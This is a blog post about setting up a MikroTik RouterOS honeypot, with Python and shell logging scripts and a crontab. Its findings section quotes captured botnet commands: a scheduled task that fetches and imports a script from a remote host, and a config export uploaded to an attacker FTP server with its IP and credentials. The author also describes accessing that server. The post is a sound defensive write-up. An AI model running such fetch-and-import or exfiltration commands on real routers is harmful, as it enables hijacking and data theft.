Finding botnets with a MikroTik RouterOS honeypot
MikroTik RouterOS is a powerful feature packed software router that is pretty widely used across the world. I have been meaning to setup a honeypot and there has been a large number of high volume DDoS attacks involving compromised RouterOS routers so this seems like a good candidate for a first honeypot.
In order to setup the honeypot I span up 2 cloud instances one for RouterOS and the other to capture logging. To setup the logging machine I span up a Debian machine and then started on deploying RouterOS. I couldn't find any information on how the routers were being compromised but there was rumours of a vulnerability that was being exploited so I decided to use a slightly older RouterOS version at the time, RouterOS v6.42rc52.
RouterOS Setup
To install RouterOS on the GCP you can navigate to the software\downloads page on the MikroTik website and from there expand the "Cloud Hosted Router" tab where you find VHDX images available for download. Once downloaded the image can be uploaded to a storage bucket and then used to create a virtual machine in Google Compute Engine.
Here is what the RouterOS GUI looks like:
Logging VM Setup
To get the RouterOS state I used the router_snooper.py python script
import datetime
import json
import ssl
from typing import Tuple
from librouteros import connect
from librouteros.login import login_plain, login_token
import tablib
# config
# change these values before running the script
routeros_6_43_or_higher = False
honeypot_name = "HONEYPOT" #should be in uppercase
username = 'admin'
password = ''
host = '192.168.0.1' # ip of the routeros router
port = 8729 # port of the api-ssl service
log_dir = "/home/honeypot/logs/" # location of where to store the captured data
# ssl context
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# for new (plain text password)
if routeros_6_43_or_higher:
method = (login_plain, )
else:
# for old (with token)
method = (login_token, )
# connect with the api
api = connect(
username=username,
password=password,
host=host,
ssl_wrapper=ctx.wrap_socket,
login_methods=method,
port=port
)
def tuple_to_dataset(input_tuple: Tuple, title: str, db):
"""
Transforms a list of json of a table to a sheet of an excel file
:param input_tuple: json input list
:param title: title of the sheet
:param db: the databook excel file
"""
# skip empty tables
if len(input_tuple) != 0:
# ugly hack to fix invalid dimensions error for the files sheet
if title == 'files':
for dict_item in input_tuple:
if 'size' not in dict_item:
dict_item['size'] = ' '
if 'contents' not in dict_item:
dict_item['contents'] = ' '
# ugly hack to fix invalid dimensions for the users sheet
if title == 'users':
for dict_item in input_tuple:
if 'comment' not in dict_item:
dict_item['comment'] = ' '
# read input string as json
json_string = json.dumps(list(input_tuple))
# transform json into excel dataset
dataset = tablib.Dataset(title=title)
dataset.json = json_string
# add excel dataset as a sheet in the xlsx
db.add_sheet(dataset)
try:
# retrieve data from the api
logs = api(cmd='/log/print')
dns_cache = api(cmd='/ip/dns/cache/print')
dns_static = api(cmd='/ip/dns/static/print')
dhcp_server = api(cmd='/ip/dhcp-server/print')
dhcp_relay = api(cmd="/ip/dhcp-relay/print")
dhcp_client = api(cmd='/ip/dhcp-client/print')
users = api(cmd='/user/print')
arp = api(cmd='/ip/arp/print')
files = api(cmd='/file/print')
ip_route = api(cmd='/ip/route/print')
bgp_ads = api(cmd="/routing/bgp/advertisements/print")
# create an excel databook document
db = tablib.Databook()
# transform each entry as a sheet in the databook
tuple_to_dataset(logs, 'logs', db)
tuple_to_dataset(dns_cache, 'dns_cache', db)
tuple_to_dataset(dhcp_client, 'dhcp_client', db)
tuple_to_dataset(dhcp_relay, 'dhcp_relay', db)
tuple_to_dataset(dhcp_server, 'dhcp_server', db)
tuple_to_dataset(users, 'users', db)
tuple_to_dataset(arp, 'arp', db)
tuple_to_dataset(files, 'files', db)
tuple_to_dataset(ip_route, 'ip_route', db)
tuple_to_dataset(bgp_ads, 'bgp_advertisements', db)
# retrieve the current date for the filename
date = str(datetime.datetime.now())
# store as logs-**datetime**.xlsx in the logs folder
open(log_dir + 'logs-' + honeypot_name + '-' + date + '.xlsx', 'wb').write(db.xlsx)
except Exception as e:
# print the stacktrace
print(e)
#!/bin/bash
# script to start a tcppdump capture
# config: Update these values
# duration of the capture (10 minutes)
timespan=600
# name of the honeypot (should be uppercase)
honeypot_name="HONEYPOT"
# capture destination directory
filename="/home/honeypot/tcpdump/"
# host of the processor vm, to exclude this traffic
proc_ip="10.0.0.0"
# create the filename
datetime=$(date -Iminutes)
filename="${location}TCPDUMP-${honeypot_name}${datetime}.pcap"
# run tcpdump
command="timeout $timespan tcpdump -i eth0 host not ${proc_ip} -w $filename"
echo TCPDUMP
eval $command
# Example crontab for a routeros honeypot
# Replace the crontab of the user with this file and update the file locations to the scripts
#
# m h dom mon dow command
# starts the api snooper every 5 minutes to retrieve the latest logs from the honeypot and stores it int he logs directory tagged with name and date
*/5 * * * * /usr/bin/python3 /home/honeypot/api-snooper/routeros_snooper.py > /tmp/api_snooper_listener.log 2>&1
# starts a tcpdump capture every 10 minutes and stores it tagged with honeypot name and date and time in the tcpdump directory
*/10 * * * * sudo /bin/bash /home/honeypot/tcpdump.sh > /tmp/tcpdump_listener.log 2>&1
Findings
It wasn't before an unusual entry was spotted in the RouterOS API logs:
:do { /system scheduler set U3 name="U7" on-event="/tool fetch url=hxxp://specialword[.]xyz/poll/1bf89ac8-0214-42c9-bd02-bdbc0cd114be mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08" } on-error={ :put "U3 not found"}
Checking the RouterOS settings a new scheduled task had been added using the inbuilt RouterOS scheduled task functionality. The task polled the URL above every 10mins for a new script and imported it, in our case above we can see the import for the file name, 7wmp0b4s.rsc.
Another interesting command appears to backup the RouterOS state and then upload to an FTP server:
/export file=backup
/tool fetch src-path=backup.rsc mode=ftp address=159.69.64.130 dst-path=ef3a4865-d56e-42f3-b72a-537607e06a68.rsc upload=yes user=fuser password=fpass31337
Ok this is interesting we have the address and credentials of an FTP server lets see what we can find.
First I use wget to get a directory listing of the FTP server.
Investigating the various configs we see the similiar scheduled task pulling a script from a remote server and also config changes allowing RouterOS to act as a socks proxy, allowing the router to act like a proxy-server, so attackers can "relay" there attacks through the routers to make traffic appear as though it is coming from the vast collection of compromised routers.
Comments
Post a Comment